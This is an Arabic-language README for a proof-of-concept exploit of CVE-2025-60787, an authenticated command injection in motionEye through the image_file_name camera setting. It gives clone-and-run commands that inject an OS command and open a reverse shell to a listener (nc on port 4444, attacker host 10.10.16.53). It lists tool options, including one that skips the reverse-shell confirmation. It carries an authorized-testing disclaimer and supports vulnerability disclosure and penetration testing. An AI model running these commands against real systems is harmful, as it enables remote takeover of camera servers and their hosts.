
CVE-2025-60787 motionEye حقن أوامر موثّق يؤدي إلى تنفيذ أوامر عن بعد (RCE) - إثبات المفهوم (PoC)
إثبات اختراق (PoC) لحقن أوامر مصادق عليه لـ CVE-2025-60787. يقوم motionEye v0.43.1b4 والإصدارات الأقدم بكتابة قيم إعدادات الكاميرا التي يتحكم بها المستخدم مثل image_file_name في إعدادات Motion دون تعقيم كافٍ، مما يسمح بتنفيذ الأوامر عند معالجة القيمة.
للاستخدام في الاختبارات والأبحاث المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name للكاميرا./action/<camera_id>/snapshot/ لكي يقوم motionEye بمعالجة اسم الملف المحقون.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
ابدأ مستمعًا أولاً:
rlwrap nc -lvnp 4444
ثم شغّل:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
خيارات مفيدة:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| المنتج | الإصدار المتأثر | الوصول المطلوب | التأثير |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | وصول إداري/API مصادق عليه | تنفيذ أوامر نظام التشغيل كمستخدم عملية motionEye/Motion |
تعتمد الامتيازات الناتجة على كيفية نشر motionEye. في الحاويات أو صور المختبر التي تشغل الخدمة كجذر (root)، يمكن أن يصل تنفيذ الأوامر إلى صلاحيات الجذر.
image_file_name.--restore أثناء الاختبار لإعادة إعدادات الكاميرا الأصلية بعد الاستغلال.--cmd للتحقق الآمن قبل محاولة الصدفة العكسية.ozcanpng — github.com/ozcanpng — ozcanpng.dev